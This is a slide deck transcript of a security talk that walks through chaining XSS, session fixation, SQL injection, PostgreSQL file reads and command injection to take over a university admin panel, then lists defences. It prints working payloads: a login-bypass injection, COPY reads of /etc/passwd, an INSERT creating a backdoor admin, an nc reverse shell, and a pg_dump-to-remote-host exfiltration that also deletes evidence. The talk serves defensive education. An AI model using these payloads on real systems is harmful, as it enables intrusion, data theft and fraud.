Chaining Web Exploits: Pwning the kingdom

Slide 1

Slide 1 text

Chaining Web Exploits Pwning the Kingdom

Slide 2

Slide 2 text

whoami ● Cyber Security Analyst ● Previously: Systems Administrator, Senior Software Engineer On the web: https://smashes.net/

Slide 3

Slide 3 text

Agenda ● A story about how 30 universities across North America could’ve been hacked by chaining exploits together ● What could’ve been done to prevent it

Slide 4

Slide 4 text

No content

Slide 5

Slide 5 text

No content

Slide 6

Slide 6 text

Knock Knock The server told me that it’s running Apache 2 on Debian and it’s a PHP based application.

Slide 7

Slide 7 text

Who’s there? It’s me, your friendly neighborhood scanner. I don’t suppose you have an admin panel do you?

Slide 8

Slide 8 text

Of course I do!

Slide 9

Slide 9 text

Thank you, Server! The goal is to make it into the admin panel… - What does the admin panel look like? - Is it old, buggy and slow? - Are there vulnerabilities on the inside? The login page looks promising

Slide 10

Slide 10 text

Is an XSS via the User-Agent possible? curl ‘https://target.example.com/Admin?’ -I -k --user-agent ‘’

Slide 11

Slide 11 text

It’s an XSS via the User-Agent! Surprise! An XSS and the structure of the admin panel, it includes: - A potentially hijackable session_id cookie before it expires - URL addresses for all the admin pages

Slide 12

Slide 12 text

XSS Admin Screenshot ● The Admin Panel (File Manager, Course Planning, Emails and more) ● More than a shop? [email protected]

Slide 13

Slide 13 text

Scan the LAN With successful cross-site scripting: - Deploy javascript-based LAN network scanner - Post results to control server Yields: - Internal host discovery - Network mapping of online hosts - Vulnerable hosts on the network

Slide 14

Slide 14 text

Session Hijacking We have a session id, can this be exploited? When looking at the login admin page, there is a sess_id parameter that looks like a standard PHP session id. I don’t suppose it’ll let me set any random ID, would it? Let’s try sending a session id and see what happens.

Slide 15

Slide 15 text

Session Hijacking Results - Sent a sess_id - Server gave us the admin session to the backend and expiry time Is there another way in? 1

Slide 16

Slide 16 text

Another Way In An initial scan found multiple files in the /include/ that offer an authentication prompt. Is the login interface vulnerable to SQL injection? Crafted an SQL injection within the username and password fields, let’s see what happens. Payload: ‘ OR ‘’=‘

Slide 17

Slide 17 text

No content

Slide 18

Slide 18 text

How about Blind SQL Injection? Difference between blind SQL injection and SQL injection Is it vulnerable to blind SQL injection in the HTTP Basic Authentication? Trying to force a server error

Slide 19

Slide 19 text

Injection Attempt

Slide 20

Slide 20 text

No content

Slide 21

Slide 21 text

YES This error may indicate the field is not sanitized Is it possible to get a local file inclusion (LFI) or remote command execution (RCE) from the SQL Injection?

Slide 22

Slide 22 text

LOCAL FILE INCLUSION WITH POSTGRESQL PostgreSQL can do basic file inclusion functions with default configuration, such as:

Slide 23

Slide 23 text

LOCAL FILE INCLUSION WITH POSTGRESQL COPY hacks(description) FROM ‘/etc/passwd’; COPY hacks(description) FROM ‘/etc/apache2/sites-enabled/000-default.conf’; SELECT description FROM hacks; (This will dump the information gathered to the screen)

Slide 24

Slide 24 text

EXPORT FILES TO FRONTEND WITH POSTGRESQL I could also export the data to another table in the frontend and render it to the user.

Slide 25

Slide 25 text

EXPORT FILES TO FRONTEND WITH POSTGRESQL I could also export the data to another table in the frontend and render it to the browser. COPY frontpage(content) FROM ‘/etc/passwd’; curl -vs https://university.example.com/ 2>&1 | grep ‘root\:’ -C 80 > etc_passwd_contents

Slide 26

Slide 26 text

EXPORT FILES TO FRONTEND WITH POSTGRESQL

Slide 27

Slide 27 text

CREATING ADMIN BACKDOOR From the initial scan of the backend via both the session hijack & SQL injection, we have: - Database field names - Good idea of how the authentication works

Slide 28

Slide 28 text

CREATE USER bobby; ‘; INSERT INTO users(usercode,username,password,access_level,email) VALUES(‘BOBBY’, ‘bobby’, ‘boby123’, ‘ADMIN’, ‘[email protected]’); --

Slide 29

Slide 29 text

Executed the SQL payload, is Bobby an admin?

Slide 30

Slide 30 text

Hello Bobby

Slide 31

Slide 31 text

Hello Bobby The backdoor admin account allows: • View order info • Email and session logs • Staff information • Modify website contents

Slide 32

Slide 32 text

Chaining the exploits together Chain with javascript: - Write exploits to be automated - Utilize user-agent xss with new payload - Change usernames and passwords for impersonation - Spoof the legitimate administrator

Slide 33

Slide 33 text

The First Chain

Slide 34

Slide 34 text

Diving Deeper - Session Management Looking at Session Management system: • Upon loading the page, hit with original XSS payload • Allows admins to watch users sessions in almost real-time • Can view any input the user submitted into the page, including PII (except passwords) One of the administrators must of been reviewing the session logs when the XSS fired!

Slide 35

Slide 35 text

Diving Deeper - Session Management Looking at Session Management system: - Upon loading the page, hit with original XSS payload One of the administrators must of been reviewing the session logs!

Slide 36

Slide 36 text

Diving Deeper - Order Management Admin panel has: - Ability to view basic order details - Name of the person - Email - Order number - Amount paid - Allow the administrator to issue a refund directly online. Just thinking...

Slide 37

Slide 37 text

Would you like a refund? This UI allows you to enter any amount in the refund field. $995 sounds reasonable.

Slide 38

Slide 38 text

Remote Command Execution If writing configuration information to disk, at least attempt to filter it. Payload: “; exec(‘nc {ip} {port} -e /bin/bash’); // Saved, the page refreshed and… Of course there’s many other things you can do from this Listening on [0.0.0.0] (family 0, port 1123) Connection from {removed} 53704 received! whoami www-data

Slide 39

Slide 39 text

Where are we now? Not only do we have: • a full administrator account • SQL injection at our fingertips • full blown shell on the server as the www-data user. • can elevate to root on servers due to vulnerable kernel • can access distribution server and backdoor product releases • can backdoor the client to execute malicious code on update

Slide 40

Slide 40 text

Put a Message Up Make some noise on the web to prove we have write access… echo “[....]rce 2019-03-01” > ./admin/ms9582512.html

Slide 41

Slide 41 text

Dumping the Database We have: - RCE - Access to the database credentials hardcoded in config files We should be able to dump the database -- right? Let’s try.

Slide 42

Slide 42 text

Dump the Database & Remove Evidence Syntax will vary per database type, here’s how it works with postgres: pg_dump [...] | gzip -c > ~/dbdump.sql.gz && scp ~/dbdump.sql.gz $OUTBOUND@$HOST:./dbdump.sql.gz && rm -f ~/dbdump.sql.gz

Slide 43

Slide 43 text

Recap • Got copy of database • Got password hashes (bcrypt/md5) • User information and order details • Setup an admin backdoor • Deleted evidence we were in the system In total, chained 5 exploits to go from unauthenticated user to full shell as the www-data user. Now, the final payload

Slide 44

Slide 44 text

The Full Chain

Slide 45

Slide 45 text

How could this have been prevented?

Slide 46

Slide 46 text

1. Proactive Monitoring All the attacks demonstrated today can be found with a simple Google search. There are many free automated tools available to do this with. Anyone can do this… There was no active monitoring or alerting. Without the proper systems in place, the likelihood of catching this is slim to none.

Slide 47

Slide 47 text

2. Drop the Sessions! Many systems still allow users to inject session ids, this is bad practice and should be removed. There is no legitimate reason to inject a session id in most cases.

Slide 48

Slide 48 text

3. Regular Audits All companies and organization need regular security audits, not just black- boxed PCI compliance audits.

Slide 49

Slide 49 text

3. Regular Audits All companies and organization need regular security audits, not just black- boxed PCI compliance audits. Developers need to test their own code and their peers code, just inject anything from the OWASP top-10 or cheatsheets to start.

Slide 50

Slide 50 text

4. Not /Admin Don’t make your admin panel public to the world. Whitelist access by IP address to trusted origins only (eg, internal user ranges only). Don't let search engines index your Admin login page.

Slide 51

Slide 51 text

5. Proper Access Control Any user with access to the administration panel should only see what their role defines, not the entire admin panel. Most organizations don’t implement proper access control, or leave old accounts with privileged access laying around.

Slide 52

Slide 52 text

6. Two-Factor Authentication The target systems demonstrated today had two-factor authentication enabled. The session_id bypass and SQL injection allowed me to bypass the two-factor authentication requirements, and I could disable it for any other user. Always force re-validation if the browser, IP or country changes.

Slide 53

Slide 53 text

7. Vendor Compliance Often times, your system may be relatively secure, but a vendor you rely on has lapsed on their security. Make sure your vendors undergo regular security audits -- PCI compliance doesn’t mean they’re secure.

Slide 54

Slide 54 text

Questions?